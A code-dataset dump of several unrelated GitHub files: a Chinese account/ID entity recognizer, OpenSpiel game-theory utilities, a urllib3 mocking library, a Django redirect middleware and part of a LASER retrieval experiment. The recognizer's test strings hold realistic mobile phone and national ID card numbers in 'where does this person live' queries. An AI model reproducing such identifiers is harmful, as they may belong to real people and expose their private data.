re.match(pattern_imei, candidate)\n if result:\n return True\n else:\n return False\n\n\ndef is_mac(candidate):\n \"\"\"\n 判断设备MAC号码\n :param candidate:\n :return:\n \"\"\"\n pattern_mac = r\"^([0-9a-fA-F]{2})(([:][0-9a-fA-F]{2}){5})$\"\n result = re.match(pattern_mac, candidate)\n if result:\n return True\n else:\n return False\n\n\nclass Account(object):\n \"\"\"\n 账户识别类\n \"\"\"\n\n def __init__(self):\n \"\"\"\n 初始化一些必要的全局变量\n \"\"\"\n system_info = SystemInfo()\n entity = EntityCode()\n self.account_label = entity.get_account_label()\n self.entity_code = entity.get_entity_code()\n self.account_identify = yaml.load(open(system_info.get_account_label_path(), encoding='utf-8'),\n Loader=yaml.SafeLoader)\n self.identity_account = {value: k for k, v in self.account_identify.items() for value in v}\n\n def get_closest_account_label(self, raw_str):\n \"\"\"\n 获取最靠近账户的那个账户标识符\n :param raw_str:\n :return:\n \"\"\"\n max_id = -1\n max_label = None\n\n for identity, label in self.identity_account.items():\n id = -1\n for match in re.finditer(identity, raw_str):\n if match.start() > id:\n id = match.start()\n\n if id != -1 and id == max_id and identity[-1] == '群':\n max_id = id + 1\n if identity in self.account_label['WX_GROUP']:\n max_label = 'WX_GROUP'\n elif identity in self.account_label['QQ_GROUP']:\n max_label = 'QQ_GROUP'\n else:\n max_label = label\n\n if id != -1 and id > max_id:\n max_id = id\n max_label = label\n return max_label\n\n @staticmethod\n def is_id_card(candidate):\n \"\"\"\n 判断candidate是否为合法的身份证号码,包含15位和18位身份证号码两种情况\n :param candidate:\n :return:\n \"\"\"\n pattern_id = r\"^(([1-9]\\d{5}(18|19|([23]\\d))\\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\\d{3}[\" \\\n r\"0-9Xx])|([1-9]\\d{5}\\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\\d{3}))$\"\n result = re.match(pattern_id, candidate)\n if result is not None:\n return is_legal_id_card(candidate)\n return False\n\n def is_wechat_wxid(self, raw_input, candidate):\n \"\"\"\n 判断candidate是否为合法的微信号码\n :param candidate:\n :return:\n \"\"\"\n\n pattern_wxid = r\"^(wxid_([-_a-zA-Z0-9]{5,15})+)$\"\n result_wxid = re.match(pattern_wxid, candidate)\n if result_wxid is not None:\n return True\n else:\n label = self.get_closest_account_label(raw_input)\n if label == self.account_label['WECHAT']:\n return True\n else:\n return False\n\n def match_vehicle_num(self, raw_string):\n \"\"\"\n 判断raw_string里面是否有车牌号\n :param raw_string:\n :return:\n \"\"\"\n pattern_veh = re.compile(\n \"([京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼使领A-Z]{1}[A-Z]{1}(([0-9]{5}[DF])|(DF[0-9]{4})))|\"\n \"([京津沪渝冀豫云辽黑湘皖鲁新苏浙赣鄂桂甘晋蒙陕吉闽贵粤青藏川宁琼使领A-Z]{1}[A-Z]{1}[A-HJ-NP-Z0-9]{4}\"\n \"[A-HJ-NP-Z0-9挂学警港澳]{1})\")\n vehicles = []\n for match in re.finditer(pattern_veh, raw_string):\n begin = match.start()\n end = match.end()\n if end < len(raw_string) and (\n raw_string[end].isdigit() or raw_string[end].islower() or raw_string[end].isupper()):\n continue\n\n if begin != -1:\n plate_num = raw_string[begin:end]\n label = self.get_candidate_label(raw_string, plate_num)\n if label is None:\n vehicles.append({\"value\": plate_num, \"type\": \"VEHCARD_VALUE\", \"begin\": begin, \"end\": end,\n \"code\": self.entity_code['VEHCARD_VALUE']})\n\n return vehicles\n\n def get_candidate_label(self, raw_input, account):\n \"\"\"\n 判断账户是否有对应的账户标识符,如果有则返回\n :param raw_input:\n :param account:\n :param qq_group:\n :return:\n \"\"\"\n index = raw_input.find(account)\n if index != -1:\n label = self.get_closest_account_label(raw_input[:index])\n if label:\n if label == 'QQ' or label == 'QQ_GROUP':\n if account.isdigit():\n return self.account_label[label]\n else:\n return self.account_label[label]\n return None\n\n def get_account_labels_info(self, raw_input):\n \"\"\"\n 找出所有可能是账户的字符串,如果该字符串符合账户的正则,或者有对应的账户标识符,则给该字符串对应的账户标签\n 否则给该字符串一个 UNLABEL 标签,需要跟用户交互具体账户类型\n :param raw_input:\n :return:\n \"\"\"\n pattern_account = r\"([a-zA-Z0-9@_\\-\\.:]{6,})\"\n account_list = []\n sentence = raw_input\n vehicles = self.match_vehicle_num(sentence)\n if len(vehicles) != 0:\n account_list.extend(vehicles)\n\n for match in re.finditer(pattern_account, raw_input):\n begin = match.start()\n end = match.end()\n is_veh = False\n if len(vehicles) != 0:\n for veh in vehicles:\n if veh['begin'] <= begin <= veh['end']:\n is_veh = True\n if is_veh:\n continue\n result = raw_input[begin: end]\n\n if is_mac(result):\n label_name = 'MAC_VALUE'\n sentence = sentence.replace(result, 'MAC_VALUE')\n elif is_email(result):\n label = self.get_candidate_label(raw_input, result)\n if label:\n label_name = label\n sentence = sentence.replace(result, label)\n else:\n label_name = self.account_label['EMAIL']\n sentence = sentence.replace(result, self.account_label['EMAIL'])\n elif self.is_id_card(result):\n label_name = self.account_label['ID']\n sentence = sentence.replace(result, self.account_label['ID'])\n elif is_wechat_candidate(result):\n label = self.get_candidate_label(raw_input, result)\n if self.is_wechat_wxid(raw_input, result):\n label_name = self.account_label['WECHAT']\n sentence = sentence.replace(result, self.account_label['WECHAT'])\n elif label:\n label_name = label\n sentence = sentence.replace(result, label)\n else:\n label_name = self.account_label['UNLABEL']\n sentence = sentence.replace(result, self.account_label['UNLABEL'])\n elif is_mobile_phone(result):\n label = self.get_candidate_label(raw_input, result)\n if label:\n label_name = label\n sentence = sentence.replace(result, label)\n else:\n label_name = self.account_label['MPHONE']\n sentence = sentence.replace(result, self.account_label['MPHONE'])\n elif is_imei(result) or is_qq(result):\n label = self.get_candidate_label(raw_input, result)\n if label:\n label_name = label\n sentence = sentence.replace(result, label)\n else:\n label_name = self.account_label['UNLABEL']\n sentence = sentence.replace(result, self.account_label['UNLABEL'])\n elif is_phone(result):\n label_name = self.account_label['PHONE']\n sentence = sentence.replace(result, self.account_label['PHONE'])\n else:\n # 未识别账户标识为 UNLABEL 标签\n label_name = self.account_label['UNLABEL']\n sentence = sentence.replace(result, self.account_label['UNLABEL'])\n account_list.append(\n {\"value\": result, \"type\": label_name, \"begin\": begin, \"end\": end,\n \"code\": self.entity_code[label_name]})\n\n account_result = {'raw_input': raw_input, 'accounts': account_list}\n return account_result\n\n\ndef test():\n \"\"\"\n 测试用例\n :return:\n \"\"\"\n t1 = \"15295668658住在哪里?34.54,2656353125\"\n t2 = \"xiaocui-kindle@163.com住在哪里?\"\n t3 = \"手机号是15295668650的人住在哪里?\"\n t4 = \"手机号是15295668650,身份证号是610525199705165219的人住在哪里?\"\n t5 = \"张三的手机号是不是15295668765\"\n t6 = \"张三的手机15295678908和微信号是不是15295668658和xiaozhang_test?\"\n t7 = \"张三的手机好和微信号是不是15295668658、xiaozhang_test?\"\n t8 = \"手机号是15295668650,身份证号是610525199403155218的人住在哪里?\"\n t9 = \"支付宝是15295668650的人住在哪里?\"\n t10 = \"微博15295668650的人住在哪里?\"\n t11 = \"15295668658住在哪里?34.54,QQ群2656353125\"\n t12 = \"京东账户15295668658住在哪里?\"\n t13 = \"QQ号是2656353125住在哪里?\"\n t14 = \"武威美嘉源农业科技有限公司的Qq账号16850973070有哪些弟弟?\"\n t15 = \"武威美嘉源农业科技有限公司的15295668650有哪些弟弟?\"\n t16 = \"武威美嘉源农业科技有限公司的QQ_xiaocui有哪些弟弟?\"\n t17 = \"IMEI号码是543216789012345的设备\"\n t18 = \"谁的设置号44:2A:60:71:CC:8D曾经在哪里上网\"\n test_list = [t1, t2, t3, t4, t5, t6, t7, t8, t9, t10, t11, t12, t13, t14, t15, t16, t17, t18]\n account = Account()\n for index, raw_input in enumerate(test_list):\n result = account.get_account_labels_info(raw_input)\n print(\"\\n==============================\")\n pprint(result)\n print(\"==============================\\n\")\n\n\ndef test_while():\n \"\"\"\n 单句测试账户识别模块\n :return:\n \"\"\"\n account = Account()\n while True:\n sentence = input(\"input:\")\n pprint(account.get_account_labels_info(sentence))\n\n\nif __name__ == '__main__':\n test()\n test_while()\n","repo_name":"xiaocuigit/sementic_server","sub_path":"sementic_server/source/ner_task/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":17009,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"72379762987","text":"import itertools\nimport math\n\nimport numpy as np\n\nimport pyspiel\n\n\ndef n_choose_k(n, k):\n \"\"\"Returns the combination choose k among n items.\"\"\"\n f = math.factorial\n return int(f(n) / f(k) / f(n - k))\n\n\ndef grid_simplex(step=.1, boundary=False):\n \"\"\"Generator for regular 'lattice' on the 2-simplex.\n\n Args:\n step: Defines spacing along one dimension.\n boundary: Include points on the boundary/face of the simplex.\n\n Yields:\n Next point on the grid.\n \"\"\"\n eps = 1e-8\n start = 0. if boundary else step\n stop = 1. + eps if boundary else 1. - step + eps\n for a in np.arange(start, stop, step, dtype=np.double):\n for b in np.arange(start, stop - a, step, dtype=np.double):\n yield [a, b, 1. - a - b]\n\n\ndef sample_from_simplex(n, dim=3, vmin=0.):\n \"\"\"Samples random points from a k-simplex.\n\n See Donald B. Rubin (1981) \"The Bayesian Bootstrap\", page 131.\n\n Args:\n n: Number of points that are sampled.\n dim: Dimension of the points to be sampled, e.g. dim=3 samples points from\n the 2-simplex.\n vmin: Minimum value of any coordinate of the resulting points, e.g. set\n vmin>0. to exclude points on the faces of the simplex.\n\n Returns:\n `ndarray(shape=(k, dim))` of uniformly random points on the (num-1)-simplex.\n \"\"\"\n assert vmin >= 0.\n p = np.random.rand(n, dim - 1)\n p = np.sort(p, axis=1)\n p = np.hstack((np.zeros((n, 1)), p, np.ones((n, 1))))\n return (p[:, 1:] - p[:, 0:-1]) * (1 - 2 * vmin) + vmin\n\n\ndef game_payoffs_array(game):\n \"\"\"Returns a `numpy.ndarray` of utilities for a game.\n\n NOTE: if the game is not a MatrixGame or a TensorGame then this may be costly.\n\n Args:\n game: A game.\n\n Returns:\n `numpy.ndarray` of dimension `num_players` + 1.\n First dimension is the player, followed by the actions of all players, e.g.\n a 3x3 game (2 players) has dimension [2,3,3].\n \"\"\"\n if isinstance(game, pyspiel.MatrixGame):\n return np.stack([game.row_utilities(), game.col_utilities()])\n\n if not isinstance(game, pyspiel.TensorGame):\n game = pyspiel.extensive_to_tensor_game(game)\n return np.stack(\n [game.player_utilities(player) for player in range(game.num_players())])\n\n\ndef distribute(num_items, num_slots, normalize=False):\n \"\"\"Yields all ways of distributing `num_items` items over `num_slots` slots.\n\n We assume that the ordering of the slots doesn't matter.\n\n Args:\n num_items: The number of items to distribute.\n num_slots: The number of slots.\n normalize: Normalizes the yielded tuple to contain floats in [0, 1] summing\n to 1.\n\n Yields:\n A tuple T containing `num_slots` positive integers such that\n `np.sum(T) == num_items` if `normalize == False` or `np.sum(T) == 1` if\n `normalize == True'.\n \"\"\"\n normalization = 1\n if normalize:\n normalization = num_items\n # This is just the standard \"bars and stars\" problem.\n # See https://stackoverflow.com/questions/28965734/general-bars-and-stars.\n for c in itertools.combinations(\n range(num_items + num_slots - 1), num_slots - 1):\n # The combinations give you the indices of the internal bars.\n # pylint: disable=g-complex-comprehension\n yield tuple((b - a - 1) / normalization\n for (a, b) in zip([\n -1,\n ] + list(c),\n list(c) + [num_items + num_slots - 1]))\n\n\ndef assert_is_1d_numpy_array(array):\n if not isinstance(array, np.ndarray):\n raise ValueError(\"The argument must be a numpy array, not a {}.\".format(\n type(array)))\n\n if len(array.shape) != 1:\n raise ValueError(\n \"The argument must be 1-dimensional, not of shape {}.\".format(\n array.shape))\n\n\ndef assert_probabilities(array):\n if not all([item >= 0 for item in array]):\n raise ValueError(\"The vector must have all elements >= 0 items, not\"\n \"{}\".format(array))\n sum_ = np.sum(array)\n if not np.isclose(1, sum_):\n raise ValueError(\n \"The sum of the probabilities must be 1, not {}\".format(sum_))\n\n\ndef sort_rows_lexicographically(array):\n \"\"\"Returns a numpy array with lexicographic-ordered rows.\n\n This function can be used to check that 2 Heuristic Payoff Tables are equal,\n by normalizing them using a fixed ordering of the rows.\n\n Args:\n array: The 2D numpy array to sort by rows.\n \"\"\"\n return np.array(sorted(array.tolist()))\n\n\ndef get_valid_next_profiles(num_strats_per_population, cur_profile):\n \"\"\"Generates monomorphic strategy profile transitions given cur_profile.\n\n Given a current strategy profile, cur_profile, this generates all follow-up\n profiles that involve only a single other population changing its current\n monomorphic strategy to some other monomorphic strategy. Note that\n self-transitions from cur_profile to cur_profile are not included here, as\n they are a special case in our Markov chain.\n\n Args:\n num_strats_per_population: List of strategy sizes for each population.\n cur_profile: Current strategy profile.\n\n Yields:\n The next valid strategy profile transition.\n \"\"\"\n num_populations = len(num_strats_per_population)\n\n for i_population_to_change in range(num_populations):\n for new_strat in range(num_strats_per_population[i_population_to_change]):\n # Ensure a transition will actually happen\n if new_strat != cur_profile[i_population_to_change]:\n next_profile = cur_profile.copy()\n next_profile[i_population_to_change] = new_strat\n yield i_population_to_change, next_profile\n\n\ndef get_num_strats_per_population(payoff_tables, payoffs_are_hpt_format):\n \"\"\"Returns a [num_populations] array of the num.\n\n of strategies per population.\n\n E.g., for a 3 population game, this returns\n [num_strats_population1, num_strats_population2, num_strats_population3]\n\n Args:\n payoff_tables: List of game payoff tables, one for each agent identity. Each\n payoff_table may be either a 2D numpy array, or a _PayoffTableInterface\n object.\n payoffs_are_hpt_format: True indicates HPT format (i.e.\n _PayoffTableInterface object, False indicates 2D numpy array.\n \"\"\"\n\n if payoffs_are_hpt_format:\n return np.asarray(\n [payoff_table.num_strategies for payoff_table in payoff_tables])\n else:\n # Non-HPT payoffs are matrices, so can directly return the payoff size\n return np.asarray(np.shape(payoff_tables[0]))\n\n\ndef get_num_profiles(num_strats_per_population):\n \"\"\"Returns the total number of pure strategy profiles.\n\n Args:\n num_strats_per_population: A list of size `num_populations` of the number of\n strategies per population.\n\n Returns:\n The total number of pure strategy profiles.\n \"\"\"\n return np.prod(num_strats_per_population)\n\n\ndef get_strat_profile_labels(payoff_tables, payoffs_are_hpt_format):\n \"\"\"Returns strategy labels corresponding to a payoff_table.\n\n Namely, for games where strategies have no human-understandable labels\n available, this function returns a labels object corresponding to the\n strategy profiles.\n\n Examples:\n Generated labels for a single-population game with 3 strategies:\n ['0','1','2'].\n Generated labels for a 3-population game with 2 strategies per population:\n {0: ['0','1'], 1: ['0','1'], 2: ['0','1']}\n\n Args:\n payoff_tables: List of game payoff tables, one for each agent identity. Each\n payoff_table may be either a 2D numpy array, or a _PayoffTableInterface\n object.\n payoffs_are_hpt_format: Boolean indicating whether each payoff table in\n payoff_tables is a 2D numpy array, or a _PayoffTableInterface object (AKA\n Heuristic Payoff Table or HPT). True indicates HPT format, False indicates\n 2D numpy array.\n\n Returns:\n Strategy labels.\n \"\"\"\n\n num_populations = len(payoff_tables)\n\n if num_populations == 1:\n num_strats_per_population = get_num_strats_per_population(\n payoff_tables, payoffs_are_hpt_format)\n labels = [str(x) for x in range(num_strats_per_population[0])]\n else:\n num_strats_per_population = get_num_strats_per_population(\n payoff_tables, payoffs_are_hpt_format)\n labels = dict()\n label_text = []\n # Construct a list of strategy labels for each population\n for num_strats in num_strats_per_population:\n label_text.append([str(i_strat) for i_strat in range(num_strats)])\n population_ids = range(num_populations)\n labels = dict(zip(population_ids, label_text))\n\n return labels\n\n\ndef get_strat_profile_from_id(num_strats_per_population, profile_id):\n \"\"\"Returns the strategy profile corresponding to a requested strategy ID.\n\n This is the inverse of the function get_id_from_strat_profile(). See that\n function for the indexing mechanism.\n\n Args:\n num_strats_per_population: List of strategy sizes for each population.\n profile_id: Integer ID of desired strategy profile, in\n {0,...,get_num_profiles-1}.\n\n Returns:\n The strategy profile whose ID was looked up.\n \"\"\"\n\n num_populations = len(num_strats_per_population)\n strat_profile = np.zeros(num_populations, dtype=np.int32)\n\n for i_population in range(num_populations - 1, -1, -1):\n strat_profile[i_population] = (\n profile_id % num_strats_per_population[i_population])\n profile_id = profile_id // num_strats_per_population[i_population]\n\n return strat_profile\n\n\ndef get_label_from_strat_profile(num_populations, strat_profile, strat_labels):\n \"\"\"Returns a human-readable label corresponding to the strategy profile.\n\n E.g., for Rock-Paper-Scissors, strategies 0,1,2 have labels \"R\",\"P\",\"S\".\n For strat_profile (1,2,0,1), this returns \"(P,S,R,P)\". If strat_profile is a\n single strategy (e.g., 0) this returns just its label (e.g., \"R\").\n\n Args:\n num_populations: Number of populations.\n strat_profile: Strategy profile of interest.\n strat_labels: Strategy labels.\n\n Returns:\n Human-readable label string.\n \"\"\"\n if num_populations == 1:\n return strat_labels[strat_profile]\n else:\n label = \"(\"\n for i_population, i_strat in enumerate(strat_profile):\n label += strat_labels[i_population][i_strat]\n if i_population < len(strat_profile) - 1:\n label += \",\"\n label += \")\"\n return label\n\n\ndef get_id_from_strat_profile(num_strats_per_population, strat_profile):\n \"\"\"Returns a unique integer ID representing the requested strategy profile.\n\n Map any `strat_profile` (there are `np.prod(num_strats_per_population)` such\n profiles) to {0,..., num_strat_profiles - 1}.\n\n The mapping is done using a usual counting strategy: With\n num_strats_per_population = [a1, ..., a_n]\n strat_profile = [b1, ..., b_n]\n\n we have\n\n id = b_1 + a1 * (b2 + a_2 * (b3 + a_3 *...))\n\n\n This is helpful for querying the element of our finite-population Markov\n transition matrix that corresponds to a transition between a specific pair of\n strategy profiles.\n\n Args:\n num_strats_per_population: List of strategy sizes for each population.\n strat_profile: The strategy profile (list of integers corresponding to the\n strategy of each agent) whose ID is requested.\n\n Returns:\n Unique ID of strat_profile.\n \"\"\"\n\n if len(strat_profile) == 1:\n return strat_profile[0]\n\n return strat_profile[-1] + (num_strats_per_population[-1] *\n get_id_from_strat_profile(\n num_strats_per_population[:-1],\n strat_profile[:-1]))\n\n\ndef compute_payoff(row_profile, col_profile, row_payoff_table):\n \"\"\"Returns row's expected payoff in a bimatrix game.\n\n Args:\n row_profile: Row's strategy profile.\n col_profile: Column's strategy profile.\n row_payoff_table: Row's payoff table.\n \"\"\"\n\n return np.dot(np.dot(row_profile.T, row_payoff_table), col_profile)\n\n\ndef check_is_constant_sum(payoff_table, payoffs_are_hpt_format):\n \"\"\"Checks if single-population matrix game is constant-sum.\n\n Args:\n payoff_table: Either a 2D numpy array, or a _PayoffTableInterface object.\n payoffs_are_hpt_format: Boolean indicating whether payoff table is a\n _PayoffTableInterface object (AKA Heuristic Payoff Table or HPT), or a 2D\n numpy array. True indicates HPT, and False indicates numpy array.\n\n Returns:\n is_constant_sum: Boolean, True if constant-sum game.\n payoff_sum: Payoff sum if game is constant-sum, or None if not.\n \"\"\"\n\n if payoffs_are_hpt_format:\n payoff_sum_table = np.asarray(payoff_table._payoffs).sum(axis=1) # pylint: disable=protected-access\n is_constant_sum = np.isclose(\n payoff_sum_table, payoff_sum_table[0], atol=1e-14).all()\n payoff_sum = payoff_sum_table[0] if is_constant_sum else None\n else:\n payoff_sum_table = payoff_table + payoff_table.T\n is_constant_sum = np.isclose(\n payoff_sum_table, payoff_sum_table[0, 0], atol=1e-14).all()\n payoff_sum = payoff_sum_table[0, 0] if is_constant_sum else None\n return is_constant_sum, payoff_sum\n\n\ndef cluster_strats(pi, matching_decimals=4):\n \"\"\"Clusters strategies using stationary distribution (pi) masses.\n\n Args:\n pi: stationary distribution.\n matching_decimals: the number of stationary distribution decimals that\n should match for strategies to be considered in the same cluster.\n\n Returns:\n Dictionary that maps unique stationary distribution masses to strategies.\n \"\"\"\n\n rounded_masses = pi.round(decimals=matching_decimals)\n masses_to_strats = {}\n for i in np.unique(rounded_masses):\n masses_to_strats[i] = np.where(rounded_masses == i)[0]\n return masses_to_strats\n\n\ndef print_rankings_table(payoff_tables,\n pi,\n strat_labels,\n num_top_strats_to_print=8):\n \"\"\"Prints nicely-formatted table of strategy rankings.\n\n Args:\n payoff_tables: List of game payoff tables, one for each agent identity. Each\n payoff_table may be either a 2D numpy array, or a _PayoffTableInterface\n object.\n pi: Finite-population Markov chain stationary distribution.\n strat_labels: Strategy labels.\n num_top_strats_to_print: Number of top strategies to print.\n \"\"\"\n\n num_populations = len(payoff_tables)\n payoffs_are_hpt_format = check_payoffs_are_hpt(payoff_tables)\n num_strats_per_population = get_num_strats_per_population(\n payoff_tables, payoffs_are_hpt_format)\n\n # More than total number of strats requested for printing, compute top and\n # use an extra row to indicate additional strategies not shown.\n row_for_lowrank_strats = True\n if num_top_strats_to_print >= len(pi):\n num_top_strats_to_print = len(pi)\n row_for_lowrank_strats = False\n\n # Cluster strategies according to stationary distr. (in case of tied ranks)\n masses_to_strats = cluster_strats(pi)\n\n def print_3col(col1, col2, col3):\n print(\"%-12s %-12s %-12s\" % (col1, col2, col3))\n\n print_3col(\"Agent\", \"Rank\", \"Score\")\n print_3col(\"-----\", \"----\", \"-----\")\n\n rank = 1\n num_strats_printed = 0\n # Print a table of strategy rankings from highest to lowest mass\n for _, strats in sorted(masses_to_strats.items(), reverse=True):\n for strat in strats:\n if num_strats_printed >= num_top_strats_to_print:\n break\n rounded_pi = np.round(pi[strat], decimals=2)\n if num_populations == 1:\n strat_profile = strat\n else:\n strat_profile = get_strat_profile_from_id(num_strats_per_population,\n strat)\n label = get_label_from_strat_profile(num_populations, strat_profile,\n strat_labels)\n print_3col(label, str(rank), str(np.abs(rounded_pi)))\n num_strats_printed += 1\n rank += 1\n if num_strats_printed >= num_top_strats_to_print:\n break\n\n # Ellipses to signify additional low-rank strategies are not printed\n if row_for_lowrank_strats:\n print_3col(\"...\", \"...\", \"...\")\n\n\ndef is_symmetric_matrix_game(payoff_tables):\n \"\"\"Checks if payoff_tables corresponds to a symmetric matrix game.\"\"\"\n payoffs_are_hpt_format = check_payoffs_are_hpt(payoff_tables)\n\n if len(payoff_tables) == 2:\n if payoffs_are_hpt_format and np.array_equal(payoff_tables[0](),\n payoff_tables[1]()):\n return True, [payoff_tables[0]]\n elif ~payoffs_are_hpt_format and np.array_equal(payoff_tables[0],\n payoff_tables[1].T):\n return True, [payoff_tables[0]]\n return False, payoff_tables\n\n\ndef check_payoffs_are_hpt(payoff_tables):\n \"\"\"Returns True if payoffs are in HPT format.\"\"\"\n if isinstance(payoff_tables[0], np.ndarray):\n return False\n elif hasattr(payoff_tables[0], \"is_hpt\") and payoff_tables[0].is_hpt:\n return True\n else:\n raise TypeError(\"payoff_tables should be a list of payoff matrices/hpts.\")\n","repo_name":"deepmind/open_spiel","sub_path":"open_spiel/python/egt/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":16701,"program_lang":"python","lang":"en","doc_type":"code","stars":3700,"dataset":"github-code","pt":"37"} +{"seq_id":"18341994627","text":"import sys\nimport inspect\nfrom collections import namedtuple\nfrom functools import update_wrapper\n\nif sys.version_info < (3,): # Python 2\n from httplib import responses as http_reasons\n from cStringIO import StringIO as BytesIO\n from urlparse import urlparse, parse_qsl\n\n def _exec(code, g):\n exec('exec code in g')\nelse: # Python 3\n from http.client import responses as http_reasons\n from io import BytesIO\n from urllib.parse import urlparse, parse_qsl\n\n _exec = getattr(__import__('builtins'), 'exec')\n unicode = str\n\nif sys.version_info < (3, 3):\n import mock\nelse:\n from unittest import mock\n\nCall = namedtuple('Call', ['request', 'response'])\nRequest = namedtuple('Request', ['method', 'url', 'body', 'headers',\n 'scheme', 'host', 'port'])\n_urllib3_import = \"\"\"\\\nfrom %(package)s.response import HTTPResponse\nfrom %(package)s.exceptions import ProtocolError\n\"\"\"\n_wrapper_template = \"\"\"\\\ndef wrapper%(signature)s:\n with responses:\n return func%(funcargs)s\n\"\"\"\n\n__all__ = ['Responses']\n\n\ndef get_wrapped(func, wrapper_template, evaldict):\n # Preserve the argspec for the wrapped function so that testing\n # tools such as pytest can continue to use their fixture injection.\n args, a, kw, defaults = inspect.getargspec(func)\n\n signature = inspect.formatargspec(args, a, kw, defaults)\n is_bound_method = hasattr(func, '__self__')\n if is_bound_method:\n args = args[1:] # Omit 'self'\n callargs = inspect.formatargspec(args, a, kw, None)\n\n ctx = {'signature': signature, 'funcargs': callargs}\n _exec(wrapper_template % ctx, evaldict)\n\n wrapper = evaldict['wrapper']\n\n update_wrapper(wrapper, func)\n if is_bound_method:\n wrapper = wrapper.__get__(func.__self__, type(func.__self__))\n return wrapper\n\n\nclass CallList(list):\n\n def add(self, request, response):\n self.append(Call(request, response))\n\n\nclass Responses(object):\n ANY = mock.ANY\n DELETE = 'DELETE'\n GET = 'GET'\n HEAD = 'HEAD'\n OPTIONS = 'OPTIONS'\n PATCH = 'PATCH'\n POST = 'POST'\n PUT = 'PUT'\n\n def __init__(self, package='urllib3'):\n evaldict = {}\n _exec(_urllib3_import % {'package': package}, evaldict)\n\n self._package = package\n self._request_class = Request\n self._response_class = evaldict['HTTPResponse']\n self._error_class = evaldict['ProtocolError']\n self.reset()\n\n def reset(self):\n self._urls = []\n self._calls = CallList()\n\n def add(self, method, url, body='', match_querystring=False,\n status=200, adding_headers=None,\n content_type='text/plain'):\n\n # body must be bytes\n if isinstance(body, unicode):\n body = body.encode('utf-8')\n\n self._urls.append({\n 'url': url,\n 'method': method,\n 'return': (status, adding_headers, body),\n 'content_type': content_type,\n 'match_querystring': match_querystring,\n })\n\n def add_callback(self, method, url, callback, match_querystring=False,\n content_type='text/plain'):\n\n self._urls.append({\n 'url': url,\n 'method': method,\n 'callback': callback,\n 'content_type': content_type,\n 'match_querystring': match_querystring,\n })\n\n @property\n def calls(self):\n return self._calls\n\n def __enter__(self):\n self.start()\n return self\n\n def __exit__(self, *args):\n self.stop()\n self.reset()\n\n def activate(self, func):\n evaldict = {'responses': self, 'func': func}\n return get_wrapped(func, _wrapper_template, evaldict)\n\n def _find_match(self, request):\n for match in self._urls:\n if request.method == match['method'] and \\\n self._has_url_match(match, request.url):\n return match\n\n def _has_url_match(self, match, request_url):\n url = match['url']\n\n if hasattr(url, 'match'):\n return url.match(request_url)\n if match['match_querystring']:\n return self._has_strict_url_match(url, request_url)\n\n return url == request_url.partition('?')[0]\n\n def _has_strict_url_match(self, url, other):\n url_parsed = urlparse(url)\n other_parsed = urlparse(other)\n\n if url_parsed[:3] != other_parsed[:3]:\n return False\n\n url_qsl = sorted(parse_qsl(url_parsed.query))\n other_qsl = sorted(parse_qsl(other_parsed.query))\n return url_qsl == other_qsl\n\n def _urlopen(self, pool, method, url, body=None, headers=None, **kwargs):\n request = self._request_class(method, url, body, headers,\n pool.scheme, pool.host, pool.port)\n match = self._find_match(request)\n\n if match is None:\n error_msg = 'Connection refused: {0} {1}'.format(request.method,\n request.url)\n response = self._error_class(error_msg)\n\n self._calls.add(request, response)\n raise response\n\n headers = {\n 'Content-Type': match['content_type'],\n }\n\n if 'callback' in match: # use callback\n status, r_headers, body = match['callback'](request)\n if isinstance(body, unicode):\n body = body.encode('utf-8')\n else:\n status, r_headers, body = match['return']\n\n if isinstance(body, Exception):\n self._calls.add(request, body)\n raise body\n\n if hasattr(status, 'split'):\n status, reason = status.split(None, 1)\n status = int(status)\n else:\n reason = http_reasons.get(status)\n\n if r_headers:\n headers.update(r_headers)\n\n response = self._response_class(\n status=status,\n reason=reason,\n body=BytesIO(body),\n headers=headers,\n preload_content=False,\n )\n\n self._calls.add(request, response)\n return response\n\n def start(self):\n def _urlopen(pool, method, url, body=None, headers=None, **kwargs):\n return self._urlopen(pool, method, url, body=body, headers=headers,\n **kwargs)\n target = self._package + '.connectionpool.HTTPConnectionPool.urlopen'\n self._patcher = mock.patch(target, _urlopen)\n self._patcher.start()\n\n def stop(self):\n self._patcher.stop()\n","repo_name":"Tommy2016x/Discord-App","sub_path":"discord/venv1/Lib/site-packages/urllib3_mock.py","file_name":"urllib3_mock.py","file_ext":"py","file_size_in_byte":6594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12948619788","text":"from django.shortcuts import redirect\nfrom django.http import HttpResponseRedirect\nfrom django.http import HttpResponsePermanentRedirect\n\nclass SimpleMiddleware(object):\n def __init__(self, get_response):\n self.get_response = get_response\n print(\"Hello world\")\n\n\n def __call__(self, request):\n print('Hello world -- >')\n response = self.get_response(request)\n response.set_cookie('user', 'haha')\n return response\n\n\n def process_view(self, request, view_func, view_args, view_kwargs):\n user = request.COOKIES.get('user')\n if user is not None:\n print(request.get_host())\n response = HttpResponseRedirect('https://so.com')\n return response\n","repo_name":"apktool/LearnDjango","sub_path":"index/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25212098451","text":"import os\n\nimport numpy as np\nimport subprocess\nimport tempfile\n\nfrom src.config import LASER_EMB\nfrom src.experiment.evaluate import layer_wise_evaluation\n\n\ndef laser_blackbox_experiment(query_lang, doc_lang, experiment_data, encode_fn, directory=\"\", batch_size=4, **kwargs):\n print(\"running LASER blackbox experiment\")\n doc_ids, raw_documents, query_ids, raw_queries, relass = experiment_data\n tmp_ids = []\n tmp_docs = []\n for _id, doc in zip(doc_ids, raw_documents):\n if doc.strip() != \"\":\n tmp_ids.append(_id)\n tmp_docs.append(\" \".join(doc.split()))#[:kwargs['maxlen']]))\n raw_documents = tmp_docs\n doc_ids = tmp_ids\n\n raw_documents = [\" \".join(line.lower().split()) for line in raw_documents]\n raw_queries = [\" \".join(line.lower().split()) for line in raw_queries]\n\n dim = 1024\n\n # tokenize\n tmp_query_embeddings_path = directory + \"tmp_%s_%s_%s_queries.npy\" % (query_lang, str(len(raw_queries)), kwargs[\"maxlen\"])\n query_representations = _generate_laser_embeddings(query_lang, 